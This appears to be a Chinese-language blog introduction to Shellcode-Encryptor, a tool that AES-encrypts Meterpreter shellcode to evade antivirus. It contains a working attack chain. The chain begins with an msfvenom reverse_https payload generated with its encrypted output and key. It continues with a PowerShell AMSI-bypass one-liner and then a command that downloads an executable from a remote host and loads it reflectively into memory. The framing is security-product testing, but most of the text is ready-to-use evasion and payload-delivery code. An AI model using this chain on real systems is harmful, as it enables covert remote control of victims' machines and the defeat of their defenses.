关于Shellcode-Encryptor
Shellcode-Encryptor是一款功能强大的Shellcode加密、解密和执行工具,在该工具的帮助下,广大研究人员可以通过尝试利用Shellcode来绕过反病毒产品,并以此来测试安全产品的安全性能。
从技术实现上来看,Shellcode-Encryptor使用了PowerShell来将源代码注入至内存中,这也是一种最有效的方法,并以此来实现绕过。Shellcode-Encryptor能够生成一个经过Base64编码和AES加密的Shellcode,研究人员可以通过在目标Windows主机上运行这个Shellcode来实现反病毒产品的绕过。
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
代码语言:javascript复制git clone https://github.com/plackyhacker/Shellcode-Encryptor.git
工具使用
项目下的meterpreter_encryptor.py主要负责创建经过Base64编码和AES加密的Shellcode:
代码语言:javascript复制root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[ ] Generating MSFVENOM payload...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[ ] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...
[ ] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D pQhKvXNdnlGrHJk4 G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1 DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU QoYpCavs78Y OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t vp5SIcM wMufg TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN 2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6 6utXW/0jS Hz7KiGP2//8 YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg
获取到密钥和Shellcode之后,我们就可以将其插入至ProcessInjector.cs之中了:
代码语言:javascript复制// 解密Base64 Payload
string payload = "sZkMii [etc...]";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";
接下来,将C#代码编译成一个可执行文件,比如说metInject.ext,然后将其托管到Web服务器中。
现在,我们就可以将这个可执行文件注入到一个远程PowerShell进程之中了:
代码语言:javascript复制# AMSI绕过
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));
工具帮助信息
代码语言:javascript复制./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:
-h, --help 显示帮助信息和退出
-l LPORT, --lport LPORT
msfconsole 监听的本地端口
-i LHOST, --lhost LHOST
msfconsole 监听的本地主机
-p PAYLOAD, --payload PAYLOAD
msfvenom生成的Payload
-m METHOD, --method METHOD
需要使用的方法:thread/delegate.
-k KEY, --key KEY 加密密钥(32个字符长度)
-e ENCODER, --encoder ENCODER
Meterpreter 编码器
-f FORMAT, --format FORMAT
输出数据格式
反病毒产品扫描结果
下图显示的是antiscan.me的扫描结果:
项目地址
https://github.com/plackyhacker/Shellcode-Encryptor
参考资料
https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs
https://antiscan.me/scan/new/result?id=gn0muzwLOUOc